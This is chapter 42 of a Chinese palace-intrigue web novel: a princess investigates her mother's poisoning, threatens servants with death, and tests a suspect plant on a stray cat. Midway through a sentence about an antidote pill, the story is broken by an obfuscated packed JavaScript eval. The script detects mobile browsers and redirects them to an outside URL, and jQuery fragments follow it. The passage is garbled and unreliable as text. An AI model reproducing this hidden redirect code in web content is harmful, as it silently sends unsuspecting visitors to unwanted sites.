42. 第42章

作品:《郡主只谋权,不谋爱

    第二天早上,玉珠刚跟一府兵打探完消息,便提着裙摆急忙忙跑回凤栖院,喘得上气不接下气。


    玉屏把她拦在院子里,见她白着脸,又问她发生何事,连府中规矩都不守了。


    玉珠看着小池里的水冒着冷气,哆嗦着说:“杜嬷嬷一家老小全死了,还有王管事和……”


    玉屏微微皱起眉头,一把捂住玉珠的嘴,警告道:“大清早说这些晦气话,别扰了王妃心情!”


    她早已知道杜嬷嬷他们的后果,虽然残忍些,到底坏了王府规矩,挡了王妃的道,自然是情有可原。


    而且王妃没公开他们的过错,还交代周管家带人去厚葬杜嬷嬷他们,不至于死后还被人蛐蛐卖主求荣,已经给她们留了体面。


    玉珠对上玉屏理所当然的眼神,一时害怕得后退两步,“你早知道是王妃吩咐的对不对?”


    其实玉珠很想说王妃怎么变得如此残暴了,难道是受了王爷的影响?但她只是个丫鬟,不敢问到王妃跟前。


    门里传出南宫翎月的声音:“玉屏,唤马夫替我备好马车。”


    玉屏瞥了眼玉珠,视线转移到紧闭的房门,她对着空气福身行礼:“是,王妃!”


    屋内,南宫翎月看着探子传来的消息,父亲目前一切安好,但大哥失去联系,是个坏消息。她皱着眉头把纸条放到蜡烛上方销毁。


    想起大病时的噩梦,大哥明明是死于祈华下令的满门抄斩,可现在生死不明,气数未尽,断不会轻易死于流寇刀下。


    她心情没有半分好转,思来想去,只能想到是因为她这边变化太多,导致大哥生命轨迹出现未知的变数。


    南宫翎月看着纸条化作灰烬,不禁红了双眼。她下令封锁大哥的消息,她不敢让母亲知道,不过无论情况是好是坏,她得回去侯府一趟。


    出门前,南宫翎月遇上祈承昀,见他风尘仆仆的样子,她没过问也没说去哪里,喊了声王爷就上了马车,直接回到侯府。


    “母亲最近身体如何?”南宫翎月一边走向云煦居,一边问身边的李嬷嬷。


    李嬷嬷不敢隐瞒:“夫人身体不太爽朗,近日咳嗽得厉害,请宫里的太医瞧过,说是寒疾,让多吃些化痰止咳的食物。”


    南宫翎月点头,走到床边掀开帘子,看到心心念念的母亲,她顿时心疼得哭出来。


    短短几日没见,安佳怡面黄枯瘦,头发散落在枕边,形如饱经沧桑的老妇,明明以前母亲最爱打扮,就算身体再不好,她的发丝都会理得很好,现在已经出现了白发,夹杂在黑发中异常明显。。


    安佳怡想起身,双手双脚却发不起力,努力了好几次都未从床上爬起。她眼巴巴地看着一滴两滴泪水从女儿脸皮滚动落下,心疼得闭了闭眼。


    “母亲,月儿回来了。”南宫翎月牵着安佳怡的手,手指落在手腕处,感受到她的脉搏紊乱无力,又仔细探另一只手腕,均是濒死的征兆。


    她心里装着大哥危生死不明的秘密,把手放回被窝里,强装镇定着说:“母亲放心,女儿替你调制丹药,很快便好起来。”


    安佳怡艰难地眨了眨眼睛,很快又闭上眼,她这副样子被女儿看见,心里甭提多难受了。


    玉珠把帕子递上,然后把帘子放下来,又把从王府带过来的香点上。


    南宫翎月擦拭脸上的泪痕,便喊李嬷嬷把近日凡是接触过安佳怡的日常起居的所有下人都集中在院子里,又吩咐秀荷带府兵搜查全府。


    听见数十个丫鬟小厮跪在地上请安,南宫翎月冷冷地看着寒风刮到他们身上,个个冻得直打颤却又不敢乱动。


    半晌,南宫翎月缓缓开口:“都清醒了吗?”


    上位者的压迫感散发开来,众人不敢回应,生怕如西院那边的丫鬟小厮因为冲撞贵人而被抹杀。


    “奴婢一直本分伺候大夫人,从未偷奸耍滑过,请王妃明察!”一丫鬟壮着胆子说话,其他下人见状纷纷附和。


    屋内的香已经起作用,无论院子怎么吵闹,丝毫不影响安佳怡休息。


    玉珠还不太习惯南宫翎月端着架子训人,见屋外的风刮得猛烈,她进屋里取来暖炉给她暖手,又看了眼跪着的下人们,替他们说话:“王妃,他们可是犯了什么错事?”


    大夫人如今病入膏肓,王妃居然没有第一时间去熬药,反而在这处罚众多下人,实在令人捉摸不透。


    玉屏扯了一下玉珠的衣裳,示意她不要多嘴。


    那丫鬟继续在南宫翎月面前卖乖:“奴婢愚钝,自知照顾大夫人不周,其罪难逃,只是夫人所用汤药,尚在瓦罐中用碳火熬着,请王妃放奴婢去药房看顾。”


    “哼!”南宫翎月站起身,唤府兵送上一把匕首,她扔到众人面前,冰冷的眼神里带着轻蔑:“胆敢给侯府主母下毒,参与者自裁,我便放了其他人,否则一个都别想活!”


    众人愣了愣,意识到王妃的话是悬在脖子上刀口,便纷纷撇清关系:“王妃饶命啊?奴婢从来没做过下毒之事……”


    南宫翎月懒得听他们掰扯,让府兵团团围住,限制他们一柱香内自首,否则便杀光所有丫鬟小厮。


    这种狠厉手段让玉珠瞠目结舌,她不敢再替下人们说话,要是她的家人被人恶意下毒,她也会如此做,突然就理解了南宫翎月态度的转变。


    在这吃人的世道里,她若不狠心,那就是对敌人仁慈,终有一天反噬在自己身上。


    “王妃,暂时未找出毒物。”秀荷匆匆赶来,带把安佳怡最近进食过的食物都带过来给南宫翎月查看。


    “取银针来。”


    南宫翎月拿着一根银针,在蜡烛上灼烧后逐一刺入桌子上摆着的食物,等全部都扎了一遍,竟然没有毒物的痕迹。


    但她刚才给母亲把脉时明确是中毒后的脉像,否则母亲不会在廖廖数日便虚弱至此。


    也许是她医术不佳,看错也有可能。本着这个想法,她把银针扎进安佳怡的指尖,拔出来时银针瞬间变黑,分明就是中毒。


    李嬷嬷看到这一幕,惊叫了一声:“难怪夫人最近身体变差速度加快,怎么吃药都没见好转,到底是哪个杀千刀的下毒?”


    玉屏和玉珠两个丫鬟第一次见这种下毒害人性命的场面,心里不禁捏了把汗,心想着王妃对她们还是保护太好。


    南宫翎月扔下银针,从袖子里取出一颗保命的药丸,又唤李嬷嬷取来温水化开,喂母亲服下。


    幸好当时廖神医留了药箱在侯府,她想着王府不安全,便私自打开药箱取走部分药物,这颗百毒丸便是那是获得。


    她从廖神医给的本子上见过,百毒丸虽然由百种毒物炼制,作用只有一个:但凡毒性不超过炼制药


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911448|192464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    材,都可以化解体内毒素。


    师傅这是又救了侯府一次,只是府中下毒之人把事做得隐秘,一天不揪出来,她心里难安。


    南宫翎月叹了口气,“嬷嬷,母亲从何时开始,身体状况一直恶化的?”


    李嬷嬷是母亲奶娘的女儿,一生未嫁,除了母亲算得上是她的家人,她在这大祈难以再找出第二个家人来,所以凭此情分,南宫翎月一直信任她。


    李嬷嬷来回走了几步,枯瘦的手指掐掐算算,突然像是梦中惊醒一样,瞪大眼睛,“王妃,您出嫁那段时日左右,夫人就偶尔咳嗽,当时听信太医的话,便都以为是风寒加重造成的寒疾。”


    “那会西院还未从侯府搬出去,该不会是二房的人下毒吧?”李嬷嬷大胆猜测。


    “东西两院的厨房不在一处,又有府兵把守,他们的人不可能进去下毒。”南宫翎月疲惫地揉了揉眉心,突然想到药房是两院共用,“玉屏,去把母亲吃的药取来。”


    很快,一碗黑乎乎的汤药端上来,还散发着浓重的药味,连屋里点的香都盖不住。


    “王妃是怀疑汤药有问题,不是已经测过无毒吗?”李嬷嬷不理解,她刚才是亲眼目睹南宫翎月用银针试过,连药渣都没放过。


    “既然一切进口的东西无毒,连最可能下药的药房都没有搜出问题,到底是哪里出现问题?明明是中毒,但为何太医诊不出来,却又说是风寒。”南宫翎月头死死盯着那碗汤药。


    浓重的药味让她直犯恶心,听着外头互相揣摩下毒之人的声音,她越来越心烦,便又下令让府兵把他们的嘴堵住。


    玉珠去传话,房门打开那一刻,寒风吹了进来,屋内的药物散去几分。


    南宫翎月敏锐地察觉到屋内还有一股香气,不是母亲日常所用的香粉味道。


    她抬头环顾四周,一双美目打量着屋内的一切物品,直到一盆绿植映入眼中。


    “那盆绿植是何时添上的。”


    “入冬前大小姐送来的绿植,说是不怕寒,冬日也能开白色的花,夫人素来喜欢白花,时常给它修剪叶子。”


    “之前一直放在院子里,听说它最近长了不少花苞,夫人便让奴婢拿进来,请王妃看看是否有问题?”


    翠绿的叶子上缀满待放的花苞,靠近嗅了嗅,还有一股淡淡的花香,清新宜人,是盆不错的植物。


    不过几秒钟,南宫翎月表情微动,她吩咐府兵抱来一只流浪猫,灌上母亲平时喝的汤药,然后把它关进封闭的笼子里,盆栽也放进去。


    刚开始,笼子断断续续传来声响,不到一盏茶的功夫,笼子里的动静越来越大。


    南宫翎月知道流浪猫是因为害怕封闭的空间,时常窜来窜去,盖在笼子上的黑布裂开一条缝隙,她就知道是流浪猫为了活命,用利爪划破了。


    动物本性使然,无论是人还是动物,都想好好活着。


    料想用流浪猫去实验自己心中的想法过于天真,她便没再关注笼子的动静,在玉屏的搀扶下起身到院子里处置下人。


    “可有结果?”南宫翎月问。


    下人们跪在地上,用哀求的眼神看着南宫翎月,试图博得她的可怜,放自己一条生路,直到府兵抽出剑鞘里的利剑,怕得纷纷闭上眼睛。


    李嬷嬷慌张推门而出:“王妃,猫没动静了。”